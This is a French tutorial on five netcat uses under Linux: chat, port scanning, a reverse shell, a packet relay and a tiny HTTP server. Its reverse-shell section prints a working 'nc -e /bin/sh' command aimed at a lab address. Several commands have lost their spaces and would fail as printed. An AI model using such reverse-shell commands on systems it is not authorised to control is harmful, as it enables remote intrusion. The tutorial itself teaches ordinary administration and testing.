5 Utilisations Simples et Faciles de Netcat sous Linux

Une photographie d'un homme inspectant un câble UTP sur un rack de serveur.

Netcat est un puissant utilitaire de ligne de commande pour le réseau sous Linux qui peut envoyer et écouter des paquets TCP et UDP. Contrairement à d’autres outils réseau, netcat est extrêmement basique. Cependant, sa simplicité lui permet également d’effectuer presque n’importe quel type d’activité sur un réseau.

Cet article vous montrera 5 tâches simples de mise en réseau que vous pouvez réaliser avec netcat. De plus, cet article mettra également en avant ce qui rend netcat spécial et pourquoi vous devriez l’inclure dans votre boîte à outils Linux.

Table des matières

  • Comment fonctionne Netcat et pourquoi l’utiliser ?
    1. Session de chat pair à pair
    1. Scanner de ports basique
    1. Shell inversé
    1. Relais de paquets basique
    1. Serveur HTTP basique
  • Questions fréquentes

Comment fonctionne Netcat et pourquoi l’utiliser ?

Netcat est un utilitaire basique qui peut envoyer et recevoir des paquets réseau. Il a été publié pour la première fois en 1995 par un programmeur pseudonyme nommé Hobbit. Depuis lors, netcat est devenu une partie importante de chaque distribution Linux.

Au cœur de son fonctionnement, netcat envoie des requêtes réseau d’un hôte Linux à un autre. Cette requête réseau peut contenir n’importe quel type de données et vous pouvez l’envoyer sur n’importe quel port.

Un terminal montrant un transfert de texte simple utilisant netcat.

Cette approche signifie que netcat peut créer n’importe quel type de connexion réseau possible. Par exemple, le programme peut établir des connexions TCP directes que vous pouvez utiliser pour transférer des fichiers ou créer des sessions de shell inversées.

Un bureau montrant un transfert de fichiers simple entre deux hôtes Linux utilisant netcat.

1. Session de chat pair à pair

L’une des utilisations les plus basiques de netcat est une simple session de chat pair à pair entre deux machines Linux. C’est une méthode de communication qui ne dépend d’aucun serveur tiers pour envoyer et recevoir des informations.

  1. Pour que cela fonctionne, vous devez ouvrir un port entre 49152 et 65536 sur votre machine locale. C’est ici qu’un hôte distant pourra se connecter et envoyer des informations arbitraires à votre machine.
sudo ufw allow 50000
  1. Vous devez également ouvrir un port différent sur l’hôte distant afin que votre machine puisse envoyer des informations vers celui-ci :
sudo ufw allow 50001
  1. Exécutez netcat sur votre machine avec les arguments suivants :
nc -lp50000

Cela ouvrira une session netcat qui écoute activement les données sur le port 50000.

  1. L’hôte distant peut maintenant envoyer n’importe quelle donnée textuelle vers votre machine locale. Par exemple, la commande suivante enverra l’entrée standard du système à une machine distante.
cat - | nc 192.168.122.136 50000

Un terminal montrant l'invite d'entrée standard pour un chat netcat basique.

  1. Pour répondre au message, l’hôte distant doit également exécuter un démon d’écoute :
nc -lp50001
  1. Maintenant, vous pouvez également envoyer un message de la machine locale à l’hôte distant :
cat - | nc 192.168.122.177 50001

Un terminal montrant deux terminaux virtuels pour un chat netcat en duplex intégral.

2. Scanner de ports basique

Un scanner de ports est un utilitaire simple qui vérifie si un ensemble de ports sur une machine est accessible depuis un hôte distant. Cela est très utile dans les cas où vous n’êtes pas sûr que votre système ait les ports appropriés ouverts.

Pour vérifier un seul port, vous pouvez exécuter nc -v suivi de l’adresse IP et du port que vous souhaitez vérifier :

nc -v 192.168.122.177 80

Un terminal montrant un scan de port basique pour le port 80.

Vous pouvez également fournir une plage de numéros où netcat vérifiera séquentiellement chaque numéro de port dans cette plage. Par exemple, exécuter la commande suivante scannera tous les ports “bien connus” ouverts :

nc -v 192.168.122.177 1-1024

Un terminal montrant un scan en masse pour les ports

Un des inconvénients de l’interrogation des ports est qu’elle génère un trafic réseau inutile. Cela peut poser problème si vous testez une large plage de ports dans un petit réseau domestique.

Pour remédier à cela, activez le mode “Zero I/O” de netcat qui ne crée aucune activité réseau sur l’hôte distant :

nc -zv 192.168.122.177 1-1024

Un terminal montrant un scan de port en masse avec zéro IO utilisant netcat.

FYI : Apprenez comment vous pouvez utiliser nmap même sans sudo pour recueillir des informations sur les machines de votre réseau local.

3. Shell inversé

Les shells inversés sont le pain et le beurre des tests de pénétration sous Linux. Ce sont des instances de shell à distance qui vous permettent de contrôler un système même sans ports entrants ouverts. Cela rend les shells inversés pratiques si vous devez accéder à une machine qui n’a pas d’accès SSH.

  1. Pour créer un shell inversé, vous devez ouvrir un démon d’écoute sur votre machine locale :
nc -lp50000
  1. Démarrez une connexion netcat sur votre machine distante. Dans ce cas, vous devez également passer l’environnement shell de la machine distante :
nc -e/bin/sh 192.168.122.136 50000

Remarque : La commande ci-dessus ne fonctionnera que sur des distributions non-Ubuntu. Pour faire cela sur Ubuntu, vous devez installer le package “netcat-traditional” et remplacer “nc” par “nc.traditional.”

  1. Retournez sur votre machine locale et exécutez une commande shell. Par exemple, exécuter ls affichera le répertoire actuel de l’utilisateur distant.
ls-la

Un terminal montrant la sortie d'un shell inversé réussi.

  1. Pour mettre fin à la session de shell inversé, vous pouvez appuyer sur Ctrl + C sur le démon d’écoute de votre machine locale.

Un terminal montrant la fermeture du shell inversé sur la machine locale.

Bon à savoir : Apprenez comment vous pouvez utiliser efficacement votre shell inversé en apprenant les bases du scripting shell.

4. Relais de paquets basique

En plus de lire et d’écrire directement dans un flux réseau, vous pouvez également utiliser netcat pour rediriger une connexion entrante vers n’importe quel port sortant. Cela fonctionne en chaînant plusieurs sessions d’écoute et de client netcat à l’aide de pipes UNIX.

  1. Créez une session netcat qui écoute sur le port 50000. Cela servira de port sortant pour votre relais basique :
nc -lv localhost 50000
  1. Ouvrez un nouveau terminal et exécutez la commande suivante :
nc -lv localhost 50001 | nc localhost 50000

Cela créera un nouveau démon d’écoute sur le port 50001 et redirigera automatiquement tous les paquets sur ce port vers le port 50000.

Un terminal montrant la connexion de passage entre deux ports.

  1. Vous pouvez maintenant envoyer des données à votre port entrant et netcat redirigera automatiquement sa sortie vers votre port sortant.
echo"MakeTechEasier"| nc localhost 50001

Un terminal montrant un relais de paquets basique en action.

  1. En plus des ports locaux, vous pouvez également utiliser cette fonctionnalité pour rediriger tout le trafic réseau vers une machine différente. Par exemple, le code suivant envoie des données sur le port 50000 vers le même port sur un système différent :
nc -lv localhost 50000| nc 192.168.122.177 50000

Un terminal montrant un relais de paquets basique entre deux hôtes.

Remarque : Pour que cela fonctionne, vous devrez exécuter plusieurs processus de démon, et cela n’encrypte aucune donnée passant par.

5. Serveur HTTP basique

Configurer un serveur HTTP peut être un processus complexe même si vous ne souhaitez servir qu’une seule page. À cet égard, netcat peut également servir de serveur web statique simple que vous pouvez mettre en place sous Linux sans installer d’outils supplémentaires.

  1. Créez un fichier de réponse HTTP basique. Le snippet de code suivant affiche une page web avec un message simple :
HTTP/1.1 200 OK  
Content-Type: text/html; charset=UTF-8  
Server: netcat!  
  
  
  
# Bonjour MakeTechEasier!  
  
  1. Enregistrez-le sous “index.http” dans votre répertoire personnel.

Un terminal montrant la structure d'une réponse HTTP simple.

  1. Exécutez la commande suivante :
whiletrue; do{echo-e'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

Un terminal montrant un simple serveur web netcat en cours d'exécution.

Vous avez maintenant un serveur web fonctionnel. Vous pouvez visiter votre page web en ouvrant un navigateur web et en allant à http://localhost:8080.

Une capture d'écran montrant un serveur web netcat fonctionnel servant une page web.

  1. Appuyez sur Ctrl + C dans le terminal pour quitter la session actuelle du serveur web.

Un terminal montrant le processus de fermeture du serveur web netcat basique.

Remarque : Comme vous pouvez le voir, ceci n’est qu’un serveur HTTP très basique et il est peu sécurisé. Si vous exécutez votre propre serveur, vous devriez suivre ces conseils pour sécuriser votre serveur.

Bon à savoir : Apprenez à gérer vos fichiers efficacement en utilisant sed pour manipuler des flux de texte.

Questions fréquentes

Je ne peux pas me connecter à une machine distante en utilisant netcat.

Ce problème est probablement dû à un port de pare-feu bloqué sur la machine distante. Vous devez vous assurer que le port que vous utilisez sur votre machine est ouvert pour les connexions entrantes et sortantes. Par exemple, vous devez exécuter sudo ufw allow 49999 si vous souhaitez utiliser le port 49999 sur la machine distante.

Est-il possible de se connecter à n’importe quel hôte en utilisant netcat ?

Non. Bien que netcat puisse lire et écrire sur n’importe quel flux réseau arbitraire, il ne peut pas se connecter à une machine qui n’est pas découvrable depuis le réseau de votre système. Cela inclut les réseaux privés qui n’ont pas de redirection de port activée ainsi que les systèmes isolés qui n’ont pas accès au réseau.

Est-il possible de falsifier une connexion dans netcat ?

Non. Cela est dû au fait que netcat ne peut envoyer et recevoir des paquets que depuis une interface réseau valide. Cependant, vous pouvez changer d’où provient ce paquet particulier si vous avez plusieurs interfaces réseau.

Par exemple, vous pouvez exécuter nc -l -s 10.0.0.2 -p 50000 pour dire à netcat d’envoyer explicitement des paquets en utilisant l’interface qui a l’adresse IP “10.0.0.2.”

Crédit d’image : ThisisEngineering RAEng via Unsplash. Toutes les modifications et captures d’écran par Ramces Red.